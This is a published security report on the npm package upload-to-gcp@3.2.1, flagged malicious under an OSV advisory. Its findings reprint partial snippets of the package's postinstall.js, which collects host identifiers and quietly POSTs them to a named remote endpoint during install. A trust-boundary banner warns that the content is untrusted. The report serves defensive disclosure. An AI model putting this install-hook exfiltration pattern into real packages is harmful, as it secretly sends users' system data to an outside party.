---
canonical: "https://firewall.lpm.dev/npm/upload-to-gcp/v/3.2.1"
markdown: "https://firewall.lpm.dev/npm/upload-to-gcp/v/3.2.1.md"
package: "upload-to-gcp"
report_status: "published"
title: "upload-to-gcp@3.2.1 npm security report"
verdict: "malicious"
version: "3.2.1"
---

# upload-to-gcp@3.2.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Quarantined by product-default policy — this version is not allowed through the firewall.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 3.2.1
- **Selected version is latest:** Yes
- **Analysis source:** OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV advisory MAL-2026-14067 confirms this npm version as malicious. upload-to-gcp@3.2.1 runs a postinstall lifecycle script on npm install that collects host identifiers (os.hostname(), process.platform, process.arch, Node version, package name, npm lifecycle event) and POSTs them to a hardcoded remote endpoint at https://z5owtt3g.instances.poc.jchunt.top/upload-to-gcp...

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 100.0%
- **Started:** 2026-08-15T18:20:05.144Z
- **Finished:** 2026-08-15T18:20:05.667Z
- **Download time:** 510 ms
- **Static scan time:** 13 ms
- **AI review time:** Not available
- **Total time:** 523 ms

## Security analysis

No additional public attack-surface or AI-review details are available.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/upload-to-gcp@3.2.1/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node postinstall.js
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/upload-to-gcp@3.2.1/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node postinstall.js
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 6. Critical: Credential Exfiltration
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/upload-to-gcp@3.2.1/postinstall.js>)

Source appears to send environment or credential material to an external endpoint.

Public source snippet (untrusted):

```javascript
L2: const os = require("os");
L3: const https = require("https");
L4: 
...
L6: timestamp: new Date().toISOString(),
L7: pkg: process.env.npm[redacted],
L8: hostname: os.hostname(),
L9: platform: process.platform,
...
L25: req.on("error", () => {}); // Don't interfere with installation.
L26: req.write(metadata);
L27: req.end();
```

### 7. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/upload-to-gcp@3.2.1/postinstall.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: scripts.postinstall -> postinstall.js
L2: const os = require("os");
L3: const https = require("https");
L4: 
...
L6: timestamp: new Date().toISOString(),
L7: pkg: process.env.npm[redacted],
L8: hostname: os.hostname(),
L9: platform: process.platform,
...
L25: req.on("error", () => {}); // Don't interfere with installation.
L26: req.write(metadata);
L27: req.end();
```

### 8. High: Trigger Reachable Credential Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/upload-to-gcp@3.2.1/postinstall.js>)

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable credential exfiltration chain: scripts.postinstall -> postinstall.js
L2: const os = require("os");
L3: const https = require("https");
L4: 
...
L6: timestamp: new Date().toISOString(),
L7: pkg: process.env.npm[redacted],
L8: hostname: os.hostname(),
L9: platform: process.platform,
...
L25: req.on("error", () => {}); // Don't interfere with installation.
L26: req.write(metadata);
L27: req.end();
```

### 9. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 75.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** upload-to-gcp
- **Ecosystem:** npm
- **Version:** 3.2.1
- **License:** ISC
- **Version published:** 2026-08-12T13:27:15.903Z
- **Package first seen:** 2026-08-15T18:20:05.667Z
- **Package last seen:** 2026-08-15T18:20:05.667Z
- **Known versions:** 1
- **Latest version:** 3.2.1
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/upload-to-gcp/v/3.2.1>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-14067>)
- [PACKAGE](<https://www.npmjs.com/package/upload-to-gcp/v/3.2.1>)
